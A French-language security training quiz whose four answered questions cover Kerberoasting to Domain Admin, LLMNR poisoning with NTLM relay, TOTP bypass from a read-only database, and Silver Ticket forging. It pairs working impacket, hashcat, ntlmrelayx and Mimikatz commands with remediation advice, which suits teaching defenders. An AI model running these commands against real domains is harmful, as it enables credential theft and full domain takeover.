Chapitre 1.4 Quiz - Protocoles d'authentification et attaques d'identite

Mode Quiz - Toutes les reponses sont masquees. Tentez chaque question avant de reveler la reponse.

Question 1

Un attaquant a compromis un compte d'utilisateur de domaine avec de faibles privileges. L'execution de BloodHound revele le chemin suivant :

user_helpdesk -> [GenericWrite] -> svc_sql -> [MemberOf] -> Domain Admins

svc_sql a le SPN MSSQLSvc/db01.corp.com:1433. Decrivez exactement comment l'attaquant escalade de user_helpdesk a Domain Admin, en nommant chaque technique et les commandes specifiques utilisees.

Reveler la reponse et l'explication

Reponse : Kerberoasting cible sur svc_sql -> cracker le hachage -> acceder au groupe Domain Admin via l'appartenance de svc_sql.

Etape 1 - Kerberoasting cible via GenericWrite

GenericWrite sur un compte utilisateur permet de modifier l'attribut servicePrincipalName. svc_sql a deja un SPN (MSSQLSvc/...) - il peut donc etre directement soumis au Kerberoasting.

# Demander un ticket de service pour svc_sql (tout utilisateur de domaine peut le faire)
python3 GetUserSPNs.py corp.local/user_helpdesk:Password123 \
  -dc-ip 10.0.0.1 \
  -request-user svc_sql \
  -format hashcat \
  -outputfile svc_sql.hash

# Sortie :
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/db01.corp.com:1433*$aabbcc...

# Cracker le hachage
hashcat -m 13100 svc_sql.hash /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule
# Resultat : svc_sql:Sql@dmin2023

Etape 2 - S'authentifier en tant que svc_sql

# Verifier que les identifiants fonctionnent
python3 smbclient.py corp.local/svc_sql:Sql@dmin2023@10.0.0.1

# Ou demander un TGT
python3 getTGT.py corp.local/svc_sql:Sql@dmin2023 -dc-ip 10.0.0.1
export KRB5CCNAME=svc_sql.ccache

Etape 3 - Exploiter l'appartenance au groupe Domain Admins

Puisque svc_sql est membre de Domain Admins :

# Extraire tous les hachages du domaine (DCSync)
python3 secretsdump.py corp.local/svc_sql:Sql@dmin2023@10.0.0.1 \
  -just-dc \
  -outputfile domain_hashes.txt

# Execution a distance en tant que DA :
python3 wmiexec.py corp.local/svc_sql:Sql@dmin2023@10.0.0.1 \
  "whoami /priv"

Remediation :

Retirer svc_sql de Domain Admins (principe du moindre privilege)
Definir le mot de passe avec 30+ caracteres aleatoires (utiliser gMSA)
Supprimer le SPN si le service SQL est desaffecte
Auditer regulierement les permissions GenericWrite dans BloodHound :

# Trouver toutes les relations GenericWrite vers les cibles de haute valeur
# Cypher BloodHound :
MATCH p=(u)-[:GenericWrite]->(t)
WHERE t.highvalue=true
RETURN u.name, t.name

Question 2

Vous capturez le trafic reseau suivant sur un segment reseau interne :

Source: 10.0.0.55  -> 10.0.0.1   (requete LLMNR : "fileserver01")
Source: 10.0.0.100 -> 10.0.0.55  (reponse LLMNR : "fileserver01 = 10.0.0.100")
Source: 10.0.0.55  -> 10.0.0.100 (SMB NEGOTIATE)
Source: 10.0.0.55  -> 10.0.0.100 (NTLMSSP_NEGOTIATE)
Source: 10.0.0.100 -> 10.0.0.55  (NTLMSSP_CHALLENGE: 0xaabbccdd11223344)
Source: 10.0.0.55  -> 10.0.0.100 (NTLMSSP_AUTH: user=jsmith, reponse NTLMv2)

Expliquez ce qui se passe, identifiez l'attaquant, et decrivez deux actions distinctes que l'attaquant peut entreprendre apres la capture.

Reveler la reponse et l'explication

Reponse : Attaque d'empoisonnement LLMNR - 10.0.0.100 est l'attaquant executant Responder, capturant le hachage NTLMv2 de jsmith.

Ce qui se passe :

10.0.0.55 ne peut pas resoudre "fileserver01" via DNS - revient a la diffusion LLMNR
10.0.0.100 (attaquant executant Responder) repond en pretendant etre "fileserver01"
10.0.0.55 initie une connexion SMB vers l'IP de l'attaquant
L'authentification NTLM commence - l'attaquant controle le defi (0xaabbccdd11223344)
jsmith sur 10.0.0.55 envoie sa reponse NTLMv2 (HMAC-MD5 du hachage du mot de passe + defi)
L'attaquant dispose maintenant du hachage NTLMv2 de jsmith - craquable hors ligne

Action post-capture 1 - Craquage hors ligne :

# Responder capture le hachage dans ce format :
# jsmith::CORP:aabbccdd11223344:NTLMv2RESPONSE:BLOBDATA

# Sauvegarder dans hashes.txt et cracker avec hashcat
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
# -m 5600 = NetNTLMv2

# Si craque -> mot de passe en texte clair -> peut s'authentifier sur n'importe quel service
python3 smbclient.py corp.local/jsmith:MotDePasseCraque@10.0.0.1

Action post-capture 2 - Relai NTLM (pas de craquage necessaire) :

# Au lieu de (ou parallelement a) Responder : executer ntlmrelayx en parallele
# Relayer l'authentification de jsmith en temps reel vers un serveur cible
python3 ntlmrelayx.py \
  -t smb://10.0.0.200 \
  -smb2support \
  -i

# Si jsmith a des droits d'admin sur 10.0.0.200 :
# - Extraire la base SAM
# - Executer des commandes
# - Acceder aux partages de fichiers
# Cela se produit en quelques secondes - aucun craquage requis

Remediation :

# Desactiver LLMNR via GPO
# Configuration ordinateur -> Modeles d'administration -> Reseau -> Client DNS
# "Desactiver la resolution de noms multidiffusion" -> Activer

# Activer la signature SMB (empeche le relai vers SMB)
# HKLM\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters
# RequireSecuritySignature = 1

Question 3

Un developpeur implemente l'authentification multifacteur TOTP pour une application web. L'implementation stocke le secret TOTP dans la table utilisateurs de la base de donnees et valide le code a 6 chiffres cote serveur. Un attaquant dispose d'un acces en lecture seule a la base de donnees. Expliquez comment l'attaquant peut contourner l'AMF, et quelles mesures de securite supplementaires empecheraient cela.

Reveler la reponse et l'explication

Reponse : Les secrets TOTP dans la BDD permettent la generation en temps reel de codes OTP - l'acces en lecture seule a la BDD contourne completement l'AMF.

Comment l'attaquant contourne l'AMF avec l'acces en lecture a la BDD :

TOTP (RFC 6238) genere des codes depuis : TOTP(secret, horodatage). Le secret est le seul element persistant - le code a 6 chiffres change toutes les 30 secondes mais est derive de maniere deterministe depuis le secret.

# L'attaquant lit le secret TOTP depuis la BDD compromise :
# SELECT totp_secret FROM users WHERE username='admin'
# Resultat : JBSWY3DPEHPK3PXP  (secret encode en base32)

import pyotp, time

secret_vole = "JBSWY3DPEHPK3PXP"
totp = pyotp.TOTP(secret_vole)

# Generer l'OTP valide actuel
otp_actuel = totp.now()
print(f"OTP actuel : {otp_actuel}")   # Valide en ce moment

# L'utiliser : s'authentifier avec le mot de passe admin + OTP genere
# Contournement complet de l'AMF sans interaction avec la victime

Implementation correcte :

class SecureTOTP:
    def __init__(self, redis_client):
        self.redis = redis_client

    def verify(self, user_id, secret, otp_code, window=1):
        totp = pyotp.TOTP(secret)

        # Limitation du taux : max 5 tentatives par 5 minutes
        attempts_key = f"totp_attempts:{user_id}"
        attempts = int(self.redis.get(attempts_key) or 0)
        if attempts >= 5:
            raise RateLimitError("Trop de tentatives OTP")

        if not totp.verify(otp_code, valid_window=window):
            self.redis.incr(attempts_key)
            self.redis.expire(attempts_key, 300)
            return False

        # Prevenir la rejouabilite : marquer cet OTP comme utilise
        otp_key = f"used_otp:{user_id}:{otp_code}:{int(time.time())//30}"
        if self.redis.get(otp_key):
            raise ReplayError("OTP deja utilise")

        self.redis.setex(otp_key, 90, "used")
        self.redis.delete(attempts_key)
        return True

Empecher l'exposition du secret en BDD :

# Chiffrer le secret TOTP avec AWS KMS avant le stockage
import boto3, base64

kms = boto3.client('kms')

def store_totp_secret(user_id, raw_secret):
    encrypted = kms.encrypt(
        KeyId='arn:aws:kms:us-east-1:123456:key/abc-def',
        Plaintext=raw_secret.encode()
    )['CiphertextBlob']
    db.execute("UPDATE users SET totp_secret=? WHERE id=?",
               (base64.b64encode(encrypted), user_id))

L'architecture correcte : chiffrer les secrets TOTP avec une cle dans un HSM ou un KMS cloud. L'acces en lecture a la BDD donne des blobs chiffres, pas des secrets utilisables. Mieux encore : utiliser FIDO2/WebAuthn - les cles privees ne quittent jamais le materiel d'authentification.

Question 4

Lors d'un engagement Red Team, vous obtenez un TGT pour un utilisateur de domaine en executant Rubeus sur un poste de travail compromis. Cependant, vous voulez un acces Domain Admin. Decrivez l'attaque Silver Ticket, expliquez en quoi elle differe d'un Golden Ticket, et fournissez les conditions et commandes specifiques necessaires pour executer une attaque Silver Ticket contre le service CIFS sur un serveur de fichiers.

Reveler la reponse et l'explication

Reponse : Un Silver Ticket forge un ticket de service en utilisant le hachage du compte de service - aucune interaction avec le KDC, plus furtif qu'un Golden Ticket mais de portee plus limitee.

Silver Ticket vs. Golden Ticket :

Attribut	Golden Ticket	Silver Ticket
Necessite	Hachage krbtgt	Hachage du compte de service
Forge	TGT (n'importe quel service)	Ticket de service (service specifique uniquement)
Contact KDC	Aucun apres le forgeage	Aucun
Portee	Domaine entier	Service unique
Furtivite	Faible (hachage krbtgt tres surveille)	Plus elevee (hachage de compte de service moins surveille)

Obtenir le hachage du compte de service :

# Si vous avez des droits admin sur le serveur de fichiers :
python3 secretsdump.py corp.local/admin:MotDePasse@fileserver01.corp.com
# Chercher : CORP\FILESERVER01$

# Ou via DCSync :
python3 secretsdump.py corp.local/admin:MotDePasse@10.0.0.1 \
  -just-dc-user "FILESERVER01$"

Forger le Silver Ticket :

# Mimikatz : forger un ticket de service pour CIFS sur fileserver01
kerberos::golden \
  /user:Administrator \
  /domain:corp.local \
  /sid:S-1-5-21-123456789-987654321-111111111 \
  /target:fileserver01.corp.com \
  /service:cifs \
  /rc4:MACHINE_ACCOUNT_HASH \
  /ticket:silver_cifs.kirbi

# Charger le ticket
kerberos::ptt silver_cifs.kirbi

# Acceder au serveur de fichiers
dir \\fileserver01.corp.com\C$
dir \\fileserver01.corp.com\Shares\HR_Files

Pourquoi les Silver Tickets sont plus difficiles a detecter :

Le ticket de service forge est presente directement au service cible - le controleur de domaine ne voit jamais cette authentification. Il n'y a pas d'Event ID 4769 (demande TGS) car le ticket a ete forge, pas demande.

Defense :

# Activer la validation PAC - force les services a verifier le PAC avec le KDC
# Cela contrecarre les Silver Tickets en necessitant un contact avec le KDC
# GPO : Configuration ordinateur -> Modeles d'administration ->
#      Systeme -> Kerberos

# Faire tourner regulierement les mots de passe des comptes machine
# Limiter les privileges des comptes de service (uniquement les partages necessaires, pas C$)

Question 1​

Question 2​

Question 3​

Question 4​

Question 1

Question 2

Question 3

Question 4